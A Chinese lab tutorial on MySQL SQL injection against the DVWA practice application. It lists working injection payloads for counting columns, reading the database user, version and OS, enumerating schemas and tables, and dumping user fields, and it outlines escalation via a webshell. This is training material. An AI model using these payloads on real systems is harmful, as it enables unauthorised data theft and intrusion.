今天主要针对mysql常用注入语句进行测试。
测试环境与工具:
测试平台:DVWA,下载地址:http://www.2cto.com/soft/201303/38043.html,也可下载metaspolit-table2虚拟机,里面已经部署好了dvwa.。
渗透工具burpsuite-1.4.07:下载地址:http://www.2cto.com/soft/201211/35515.html
首先我们介绍下DVWA和Burpsuite,DVWA这是一个php+mysql平台构建的预置web常见漏洞的渗透练习平台。能够帮助web应用安全研究人员很好了解web漏洞。Burpsuite是一款功能强大的web渗透测试工具。
SQL注入漏洞在OWASP TOP 10威胁中,一直排名第一,安全威胁可见一斑。SQL注入渗透测试过程中,针对不同的数据库平台,注入语句选择也不同,本篇笔者主要测试mysql注入的常用语句以及渗透思路。
登录访问DVWA,默认用户名:admin密码:password.
登录之后,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。
1、找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果
当将输入变为“'”时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。
2、尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1 or 1=1 ,看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息
于是猜测,是否后台应用程序将此值看做了字符型,于是输入:1'or'1'='1,结果,遍历出了数据库中的所有内容,如果是重要数据库表,可能这个信息已经对于攻击者,有了足够意义:如图
1'or'1'='1
3、测试查询信息列数。利用语句order by num
这里我们输入 " 1'order by 1 -- " 结果页面正常显示,注意-- 后面有空格。继续测试," 1'order by 2 -- "," 1'order by 3 -- ",当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此我们判断查询结果值为2列。
1'order by 1 --
1'order by 3 --
Unknown column '3' in 'order clause'
4、通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。
这里尝试注入 “1' and 1=2 union select 1,2 -- ”结果如下
1' and 1=2 union select 1,2 --
从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:
1' and 1=2 union select user(),database() --
连接数据库的用户Ϊroot@localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,“1' and 1=2 union select version(),database() -- ”便得到了版本信息,
1' and 1=2 union select version(),database() --
5、获得操作系统信息。
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
6、测试连接数据库权限:
1' and ord(mid(user(),1,1))=114 --
7、查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1' and 1=2 union select 1,schema_name from information_schema.schemata --
8、猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。
1' and exists(select * from users) --
9、猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name
1' and exists(select first_name from users) --
ID: 1' and exists(select last_name from users) --
10、爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。
以上是笔者根据dvwa平台sql injection漏洞对mysql常用语句所做的测试。这里我们可以大致总结渗透的一般思路:
1、寻找注入点,可以通过web扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
今天笔者只在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:
1' order by 2 -- /*用来猜解查询信息的列数
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
关于mysql注入测试,就简单介绍到这里,如有错误,欢迎指正。关于brupsuite如何自动注入,将在其他篇章介绍
相关推荐
这篇文章的主题是“学习之sql注入漏洞网址的创建”,它旨在帮助初学者或研究人员建立一个自定义的环境来模拟SQL注入攻击,以便于理解和实践防御措施。下面将详细介绍这个过程以及涉及的相关知识点。 首先,SQL注入...
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
DVWA是OWASP的项目,提供了一个安全脆弱的环境,涵盖了多种漏洞类型,包括SQL注入、命令执行、文件上传等。通过学习和测试这些漏洞,安全专家和开发者能更好地理解如何防止和修复它们。搭建DVWA所需的环境是WAMP...
SQL-li-labs则是针对SQL注入攻击的练习平台,帮助学习者理解如何预防这种类型的攻击。 首先,我们来详细了解一下PHPStudy。PHPStudy提供了一个简单的界面来管理PHP版本切换、Apache和Nginx服务器的启动与停止,以及...
SQL注入仍然是当今网络中最常见的漏洞之一。了解其工作原理和防御策略对于提高Web应用程序的安全性至关重要。通过实践案例的学习,可以帮助开发人员更好地识别潜在的漏洞,并采取相应的措施进行修复,以确保数据的...
在这个环境中,我们可以模拟各种常见Web漏洞,如SQL注入、跨站脚本(XSS)、文件包含、命令注入等,以学习如何检测和利用这些漏洞。 在部署DVWA进行渗透测试环境的过程中,首先需要下载并解压DVWA的源代码,这个...
初级的 SQL 注入实验过程是 Web 安全技术中的一部分,该实验旨在掌握 MySQL 数据库的相关表格的基本操作和常用函数,熟悉 SQL 注入的基本流程,掌握 MySQL 中 UNION 的使用规则,并能够进行 PHP+MySQL 环境注入攻击...
DVWA(Damn Vulnerable Web Application)是一个开源的Web应用程序...通过深入挖掘DVWA的每一个模块,你不仅可以掌握SQL注入和渗透测试等核心概念,还能了解到Web安全的广泛领域,从而更好地保护自己和他人的在线资产。
DVWA的设计目的是提供一个安全漏洞的实战平台,涵盖了SQL注入、XSS(跨站脚本)、CSRF(跨站请求伪造)等常见的Web应用安全问题。在安装和使用DVWA之前,你需要确保你的操作系统是Windows 7或更高版本,并且已经安装...
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
1. SQL注入:DVWA的“SQL注入”部分允许用户尝试通过输入恶意SQL语句来获取数据库信息,揭示了不安全的参数化查询和错误处理的重要性。 2. XSS(跨站脚本):分为反射型、存储型和DOM型,DVWA展示了如何利用XSS漏洞...
SQL注入实验报告 一、实验综述 本实验报告的目的是掌握 SQL 注入攻击过程、web 服务的工作机制和 SQL 注入攻击的防范措施。通过本实验,我们可以了解 SQL 注入漏洞的原理和防范方法,并掌握 Web 服务的工作机制。 ...
它提供了多种安全漏洞的模拟场景,包括SQL注入、跨站脚本(XSS)、文件包含、命令注入等,帮助用户提升对Web应用安全的理解。 **一、DVWA靶场环境准备** 在搭建DVWA之前,你需要一个支持PHP和MySQL的运行环境。常见...
《DVWA:渗透测试与网络安全学习平台》 DVWA(Damn Vulnerable Web Application)是一个用于安全测试和教育目的的开源Web应用程序。它旨在帮助安全专业人员、开发人员和学生了解常见Web应用程序漏洞,并提供实践...
DVWA目前的版本共有十个漏洞模块,分别是Brute Force(暴力破解)、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的...
SQL 注入攻击与防御 SQL 注入是一种常见的 Web 应用安全漏洞,攻击者通过构造特殊的 SQL 语句来访问、修改或控制数据库中的数据。下面我们将详细介绍 SQL 注入的攻击方式、防御方法和相关工具。 一、SQL 注入攻击...
【描述】中提到的"DVWA"是网络安全性学习与实践的平台,它是一个专门设计的、具有各种安全漏洞的Web应用程序,旨在帮助安全专业人员和开发人员学习和理解常见的Web应用安全问题,如SQL注入、跨站脚本(XSS)、文件...
网络安全靶场是一种模拟真实网络环境,用于安全教育、训练和测试安全技能的平台。DVWA(Damn Vulnerable Web Application)是其中非常受欢迎的一个开源项目,专为网络安全专业人员提供了一个实践场所,帮助他们学习...
1. SQL注入:DVWA中包含的SQL注入漏洞可以让用户了解如何通过构造恶意输入,使数据库执行非预期的查询。学习者可以借此理解如何防止此类攻击,比如使用预编译语句、参数化查询等。 2. 跨站脚本(XSS):XSS攻击是指...
通过上述步骤,您不仅可以顺利搭建起DVWA环境,还可以深入学习如何利用SQL注入等漏洞进行模拟攻击,这对于网络安全测试者来说是非常宝贵的经验。此外,通过这些实践操作,还能更深刻地理解Web应用程序的安全机制及其潜在...